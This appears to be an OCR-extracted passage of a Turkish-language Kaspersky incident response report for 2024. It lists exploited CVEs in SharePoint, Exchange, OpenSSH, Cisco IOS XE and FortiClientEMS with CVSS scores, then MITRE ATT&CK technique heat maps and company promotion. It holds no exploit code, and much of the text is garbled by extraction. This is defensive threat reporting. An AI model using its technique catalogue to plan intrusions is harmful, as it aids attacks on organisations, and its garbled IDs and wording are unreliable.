Uzaktan Kod Calistirma (RCE)

CVSS 9.8 CRITICAL | CWE-428

PoC kullanilabilir - Microsoft SharePoint Server
CVE-2023-29357

Ayricaliklarin Arttirilmasi

CVSS 9.8 CRITICAL | CWE-303

Autodiscover hizmetindeki glivenlik agigl, uzaktan saldirganlarin etkilenen
Microsoft Exchange Server'da rastgele kod galistirmasina olanak tanir.

Bitrix Site Manager'in vote modulinde (< 21.0.100) glvenlik a¢igi vardir.
Kimligi dogrulanmamis uzak bir saldirganin rastgele kod ¢alistirmasina
olanak tanrr.

~y

Veeam Backup & Replication'in bir bilesenindeki glivenlik agigi, saldirganin
yapllandirma veritabaninda depolanan sifrelenmis kimlik bilgilerini elde
etmesine olanak tanir.

~—y

9.3p2'den dnceki OpenSSH surimlerinde, ssh-agent'in PKCS#11 ozelligi
savunmasiz bir arama yoluna sahiptir ve bu da onu yeterince guvenilir kilmaz.
Saldirgan tarafindan kontrol edilen bir sistem iletilen bir araci alirsa bu durum
uzaktan kod yUrUtdlmesine neden olabilir.

~—y

Microsoft SharePoint Server'da uzaktan saldirganlarin ayricaliklarini
artirmasina olanak taniyan guvenlik agigi.

~—y

PoC kullanilabilir - Cisco I0S XE (Web Kullanici Araylizi)

CVE-2023-20273 CVSS7.2HIGH | [ CWE-78

Uzaktan Kod Calistirma (RCE)

Cisco IOS XE yaziliminin web kullanici araytzu 6zelligi, kimligi dogrulanmis, uzak
bir saldirganin kok ayricaliklarina sahip komutlar enjekte etmesine izin verebilir.

~r—y

PoC kullanilabilir - Cisco I0S XE (Web Kullanici Arayizii)

'CVE-2023-20198 | CVSS10.0 CRITICAL { CWE-420

Ayricaliklarin Arttiriimasi

Olay Mudahalesi analist raporu 2024

Kimligi dogrulanmamis bir saldirganin “ayricalik dizeyi 15 erisimi”
(ttm komutlara tam erisim) olan bir hesap olusturmasina izin verir.

18
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PoC kullanilabilir - FortiClientEMS

&y

e Fortinet FortiClientEMS 'te bir SQL komutunda kullanilan 6zel dgelerin uygunsuz
— @VSS 9'8 CRITICA.L ECWE 89_J sekilde etkisizlestiriimesi (SQL enjeksiyonu), bir saldirganin 6zel olarak hazirlanmis
- SQL Enjeksiyonu paketler araciliglyla yetkisiz kod veya komutlari ¢alistirmasina olanak tanrr.

~—y

PoC kullanilabilir - OpenSSH (sshd)

— CVSS 81 HIGH_) ( CWE-362J RegreSSHion olarak da bilinen OpenSSH sunucusundaki (sshd) bu giivenlik
z . acigl, savunmasiz sunucuda uzaktan kod yUruttlmesine yol agabilir.

Uzaktan Kod Calistirma (RCE)

OpenSSH (sshd)

=z OpenSSH sunucusunda (sshd) ayricaliksiz bir kullanici olarak uzaktan kod
— QYSS 70 HIGHJ { CWE-364 | yurutdlmesine yol agabilecek yaris kosulu guvenlik agigi kesfedildi.

Uzaktan Kod Calistirma (RCE)

-
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ISI haritasi

TAOO43:
Kesif

TA0042:
Kaynak Gelistirme

TAOOOT:
ilk Erigim
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Taktik ve
tekniklerin isi
haritasi

tik ve teknik

TAOOO02:
Yurtitme

TAOOOS3:
Kalicilik

T1595.002: Aktif Tarama: Glivenlik
AgIg1 Taramasi

T1589.001: Magdur Kimlik Bilgilerini
Toplama

T1598: Bilgi igin Kimlik Avi

T1595.001: Aktif Tarama:
IP Bloklarini Tarama

T1592: Magdur Ana Bilgisayar
Bilgilerini Toplama

e~ _—opS— _Ad

%6-11

Olay Mudahalesi analist raporu 2024

%11-15

T1587.001: Yetenekler Gelistirin:
K&ti Amagl Yaziim

T1588.002: Yetenekleri Elde Edin:

Arag

%15-20

T1190: Kamuya Agik
Uygulamalardan Yararlanma

T1078.002: GegerliHesaplar:
Alan Adi Hesaplari

T199: Giivene Dayal iliski

TN33: Harici Uzak Hizmetler

T1078: Gegerli Hesaplar

T1566.002: Kimlik Avi: Hedef
Odakli Kimlik Avi Baglantisi

T1078.003: Gegerli Hesaplar: Yerel
Hesaplar

T1566.001: Kimlik Avi: Hedef
Odakli Kimlik Avi Eklentisi

TN33: Harici Uzak Hizmetler

T1078.002: Gegerli Hesaplar: Alan
Adi Hesaplari

T1566: Kimlik Avi

MITRE ATT&CK matrisi, kurumsal aglari hedef alan
dusmanlar tarafindan kullanilan taktik ve teknikleri
Ozetlemektedir. 2024'te arastirdigimiz saldirilara

dayanarak farkli tekniklerin yayginligini vurgulamak
icin matrisi renklerle kodladik.

>%20

T1059.003: Komut ve Komut
Dosyasi Yorumlayicisi: Windows
Command Shell

T1569.002: Sistem Hizmetleri:
Hizmet Ydritme

T1059.001: Komut ve Komut
Dosyasi Yorumlayicisi: PowerShell

T1053.005: Zamanlanmig Gérev /
Is: Zamanlanmis Gorev

T1047: Windows Yonetim Araglari

T1059: Komut ve Komut Dosyasi
Yorumlayicisi

T1059.004: Komut ve Komut

Dosyasi Yorumlayicisi: Unix Shell

T1059.005: Komut ve Komut
Dosyasi Yorumlayicisi: Visual Basic

T1053.003: Zamanlanmig Gérev /
Is:Cron

T1059.006: Komut ve Komut
Dosyasi Yorumlayicisi: Python

T1021.002: Uzak Hizmetler: SMB/
Windows Yonetici Paylagimlari

T1204: Kullanici Yuritme
T1059.010: Komut ve Komut
Dosyasi Yorumlayicisi:

AutoHotKey ve AutolT

T1059.009: Komut ve Komut

Dosyasi Yorumlayicisi: PowerShell:

Bulut API'si

T1559: Sirecler Arasi iletisim

T1053: Zamanlanmis Gérev / is

T1203: Musteri Ylritme
icin Istismar

T1053.002: Zamanlanmig
Gorev /lIs: At

T1078.002: Gegerli Hesaplar:
Alan Adi Hesaplari

T1543.003: Sistem islemi
Olusturma veya Degistirme:
Windows Hizmeti

T1505.003: Sunucu Yazilim
Bileseni: Web Kabugu

T1136.001: Hesap Olustur:
Yerel Hesap

T1053.005: Zamanlanmig Gérev /
Is: Zamanlanmig Gérev

T1078.003: Gegerli Hesaplar:
Yerel Hesaplar

T1098: Hesap Manipulasyonu

T1547.001: Onyiikleme veya
Oturum Agma Otomatik Baglatma
YirGtmesi: Kayrt Defteri Calistirma

Anahtarlari / Baglangic Klasori

TN33: Harici Uzak Hizmetler

TN136.002: Hesap Olustur: Alan
AdiHesabi

TN36: Hesap Olustur

T1053: Zamanlanmig Gérev / Is

T1037.004: Onyiikleme veya
Oturum Agma Baslatma Komut
Dosyalari: RC Komut Dosyalari

T1543.002: Sistem islemi
Olusturma veya Degistirme:
Windows Hizmeti: Systemd Hizmeti

T1543: Sistem Sureci Olusturma
veya Degistirme

T1574.002: Hijack YlrGtme Akist:
DLL Yan Yikleme

T1053.003: Zamanlanmig Gérev /
Is:Cron

T1098.004: Hesap Maniptllasyonu:
SSH Yetkili Anahtarlari

T1078: Gecgerli Hesaplar

T1574.006: Korsan Yurttme Akisi:
Dinamik Baglayici Korsanligi

T1546.003: Olay Tetiklemeli
Yirttme: Windows Yonetim Araglari
Olay Aboneligi
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TAOOO04:
Ayricalik Yukseltme

TAOOO5:
Savunmadan Kaginma

TAOOOé:
Kimlik Bilgisi Erigimi

Taktik ve
tekniklerin isi
haritasi

TAOOOQ7:
Bulma

T1078.002: Gegerli Hesaplar:
Alan Adi Hesaplari

T1068: Ayricalik Ylkseltme igin istismar

T1484.001: Alan Adi veya Kiraci ilkesi
Degisikligi: Grup llkesi Degisikligi

T1078.002: Gegerli Hesaplar:
Alan Adi Hesaplari

T1547.005: Onyiikleme veya Oturum Agma
Otomatik Baslatma Yurttmesi: Glvenlik
Destek Saglayicisi

T1098: Hesap Maniptilasyonu

T1543.003: Sistem iglemi Olugturma veya
Degistirme: Windows Hizmeti

T1548.002: Yikselme Kontrol
Mekanizmasini Kétlye Kullanma: Kullanici
Hesabi Denetimini Atlama

T1548.001: Kétlye Kullanim Yikseklik
Kontrol Mekanizmasi: setuid ve setgid
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T1562.001: Savunmalari Boz: Araglari
Devre Disi Birakma veya Degistirme

T1070.001: Gosterge Kaldirma: Windows
Olay GunlUklerini Temizle

T1140: Dosyalarin veya Bilgilerin Gizliligini
Kaldirma / Kodunu C6zme

T1036.005: Maskeleme: Mesru isim veya
Konumu Eslestirme

T1036.004: Maskeleme: Maskeli Gérev
veya Hizmet

T1027.002: Gizlenmis Dosyalar veya
Bilgiler: Yazilim Paketleme

T1078.002: Gegerli Hesaplar:
Alan Adi Hesaplari

T1M2: Kayit Defterini Degistirme

T1027.009: Karartiimig Dosyalar veya
Bilgiler: Gomula Yakler

T1218.011: Sistem ikili Proxy Yiritme:
Rundll32

T1070.009: Gosterge Kaldirma:
Net Kalicilik

T1078.003: Gegerli Hesaplar:
Yerel Hesaplar

T1055: Surreg Enjeksiyonu

T1070.006: Gosterge Kaldirma:
Timestomp

T1027.010: Gizlenmis Dosyalar veya
Bilgiler: Komut Gizleme

T1027.001: Gizlenmig Dosyalar veya
Bilgiler: Ikili Dolgu

T1027.013: Gizlenmis Dosyalar veya Bilgiler:
Sifrelenmis / Kodlanmis Dosya

T1562.001: Savunmalari Boz: Araglari
Devre Digi Birakma veya Degistirme

T1574.001: Hijack Yuritme Akisi: DLL
Arama Sirasinin Ele Gegirilmesi

T1562: Savunmalara Zarar Verme

T1574.002: Hijack Yuritme Akisi:
DLL Yan Yikleme

T1070.003: Gosterge Kaldirma: Komut
Gecmisini Temizle

T1622: Hata Ayiklayici Kaginma

T1562.002: Savunmalari Zayiflat: Windows
Olay Gunluguni Devre Digi Birak

T1070: Gostergenin Sékilmesi

T1027.003: Gizlenmig Dosyalar veya Bilgiler:
Steganografi

T1564.006: Yapitlar Gizle: Sanal Ornegi Calistir

T1484.001: Alan Adi veya Kiraci ilkesi
Degisikligi: Grup llkesi Degisikligi

T1218.005: Sistem ikili Vekil Yiritme: Mshta

%15-20
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T1003: isletim Sistemi Kimlik Bilgisi Dokim

T1003.001: Isletim Sistemi Kimlik Bilgileri
Dokimu: LSASS Bellek

T1552.001: Glivenli Olmayan Kimlik Bilgileri:

Dosyalardaki Kimlik Bilgileri

T1555: Parola Depolarindan Kimlik Bilgileri

T1110.001: Deneme Yanilma:
Parola Tahmin Etme

T1MO0: Kaba Kuvvet

T1003.006: isletim Sistemi Kimlik Bilgileri
Dokimu: DCSync

T1003.003: isletim Sistemi Kimlik Bilgileri
Dokumi: NTDS

T1003.001: isletim Sistemi Kimlik Bilgileri
Dokimu: LSASS Bellek

T1555.005: Parola Depolarindan Kimlik
Bilgileri: Parola Yoneticileri

T1110.003: Deneme Yaniima:
Parola Piskirtme

T1555.004: Parola Depolarindan Kimlik
Bilgileri: Windows Kimlik Bilgisi Yoneticisi

T1212: Kimlik Bilgileri Erigimi igin Istismar
T1557: Ortadaki Adam Saldirisi

T1528: Uygulama Erisim Belirtecini Calma
T1552: Teminatsiz Kimlik Bilgileri

T1056.001: Girdi Yakalama: Tus Kaydi

T1552.004: Guvenli Olmayan Kimlik
Bilgileri: Ozel Anahtarlar

T1555.003: Parola Depolarindan Kimlik Bilgileri:
Web Tarayicilarindan Gelen Kimlik Bilgileri

T1552.002: Guvencesiz Kimlik Bilgileri:
Kayit Defterindeki Kimlik Bilgileri

T1040: Ag Yoklama

T1018: Uzaktan Sistem Bulma

T1135: Ag Paylasimi Bulma

T1082: Sistem Bilgisi Bulma

T1087.002: Hesap Bulma: Alan Adi Hesabi

T1482: Alan Adi Gliveni Bulma

T1069.002: izin Gruplari Bulma:
Alan Adi Gruplari

T1057: Sireg Bulma

T1033: Sistem Sahibi / Kullanici Bulma

T1049: Sistem Ag Baglantilari Bulma

T1016: Sistem Ag1 Yapilandirma Bulma

T1615: Grup ilkesi Bulma

T1083: Dosya ve Dizin Bulma
T1087.001: Hesap Kesfi: Yerel Hesap
T1087: Hesap Bulma

T1560.001: Toplanan Verileri Arsivle:
Yardimci Program Araciligiyla Arsiv

T1124: Sistem Zaman Kesfi

T1201: Parola ilkesi Bulma

T1012: Sorgu Kayit Defteri

T1614.001: Sistem Konumu Kesfi:
Sistem Dili Kesfi
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TAOO0O08: TAOOO09: TAOO11: TAOO10: TAOO40:
Yanal Hareket Toplama _ Komut ve kontrol Sizdirma Etki

T1560.001: Toplanan Verileri

Arsivle: Yardimei Program — . T1567: Web Hizmeti Uzerinden
Sizdirma

Araciliglyla Arsiv

T1021.002: Uzak Hizmetler: SMB / T1005: Yerel Sistemden Gelen P i T1537: Verileri Bulut Hesabina ) i
Windows Yénetici Paylagimlari Veriler TGRS €I AATEE e e : Aktarma T1485: Verilmhasi
" T1021.004: Uzak Hizmetler: T1039: Ag Paylasimli T1071.001: Uygulama Katmani g 4 T 3

SSH Surlcustnden Gelen Veriler Protokoll: Web Protokolleri VIO Qi ST TSEDE sSS

T1567.002: Web Hizmeti et o
T1021: Uzaktan Hizmetler T1119: Otomatik Toplama T1219: Uzaktan Erigim Yazilimi Uzerinden Sizma: Bulut Jil=cloDzamis kS Imes

Depolamaya Sizma Disk Yapisi Siime

- . T114.001: E-posta Toplama: y v e T1048: Alternatif Protokol . 1 -l 5
T1570: Yanal Arag Transferi Yerel E-posta Toplama T1090.001: Proxy: Dahili Proxy B el n S el T1565: Veri Manipulasyonu
T1021.006: Uzak Hizmetler: T1560: Toplanan Verileri T1132.001: Veri Kodlama: T1041: C2 Kanali Uzerinden

Windows Uzaktan Yonetim Arsivieme Standart Kodlama Sizdirma

T1550.002: Alternatif Kimlik

Dogrulama Materyali Kullan: QUSEKEh o

T1090: Vekil sunucu

Karmay! Atla Vielglime
T1021.003: Uzak Hizmetler: = o | i
Dagitimis Bilegen Nesne Modeli T1572: Protokol Tunelleme T1665: Altyapiyi Gizleme
T1021: Uzaktan Hizmetler T1071.0gét%{%?éégsgatmanl
A T1568.002: Dinamik
T1021.001: Uzak Hizmetler: S :
A, k. CozunurlGk: Etki Alani
Uzak Masalistl Protokoli Olusturma Algoritmalar
T1021.002: Uzak Hizmetler:
SMB / Windows Y6netici T1102: Web Hizmeti
Paylasimlari
T1210: Uzaktan Hizmetlerin T1568: Dinamik Cézinarlik
Istismari .
L ke E;fgai'ﬁget T1573.001: Sifreli Kanal:
RDP Ele Gegirilmesi Simetrik Kriptografi
T1041: C2 Kanal Uzerinden
Sizdirma
T1071: Uygulama Katmani
Protokolu
%6-11 %1-15 %15-20 0 >%20
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aspersky Hakkinda

Kaspersky, 1997 yilinda kurulmus kuresel bir siber givenlik ve dijital gizlilik
sirketidir. Derin tehdit istihbarati ve glivenlik uzmanligimiz, dinyanin dért
bir yanindaki isletmeleri, kritik altyapilari, devletleri ve tuketicileri korumak
icin sUrekli olarak yenilik¢i glivenlik cozUmlerine ve hizmetlerine dondsuyor.
Kapsami guvenlik portfoyumuz, sofistike ve gelisen dijital tehditlerle
savasmak icin onde gelen ug¢ nokta korumasini ve ozel guvenlik cozumunu
ve hizmetini icerir.

Kaspersky Gulvenlik Hizmetleri

Kaspersky
Managed Detection
and Response

Kaspersky
Incident Response

Kaspersky \ Kaspersky

. Digital Footprint
SOC Consulting A i Iligencep
Kaspersky Kaspersky
Security Compromise
Assessment Assessment
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Global taninirlik

Kaspersky Urtnleri ve ¢ozumleri strekli bagimsiz testlere ve incelemelere
tabi tutulur ve rutin olarak en iyi sonuclari, takdirleri ve oédulleri alir.
Teknolojilerimiz ve sureclerimiz dunyanin en saygin analist kuruluslari
tarafindan duzenli olarak degerlendiriimekte ve dogrulanmaktadir.

En cok test edilen. En cok édul alan.
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Kaspersky
Hakkinda

Kaspersky'de
5000’den

fazla profesyonel calisiyor

%50

oraninda ¢alisanimiz
Ar-Ge uzmani

5

benzersiz uzmanlk
merkezleri

467 bin
Kaspersky tarafindan
her gun tespit edilen
yeni zararl dosya

200 bin

dunya ¢apinda kurumsal
musteri

4.9 milyar

2024'te Kaspersky
tarafindan tespit edilen
siber saldirilar

23


https://www.kaspersky.com.tr/about/awards
https://www.kaspersky.com.tr/enterprise-security/cybersecurity-services

Saldiri altinda
misiniz?
Bize Ulasin
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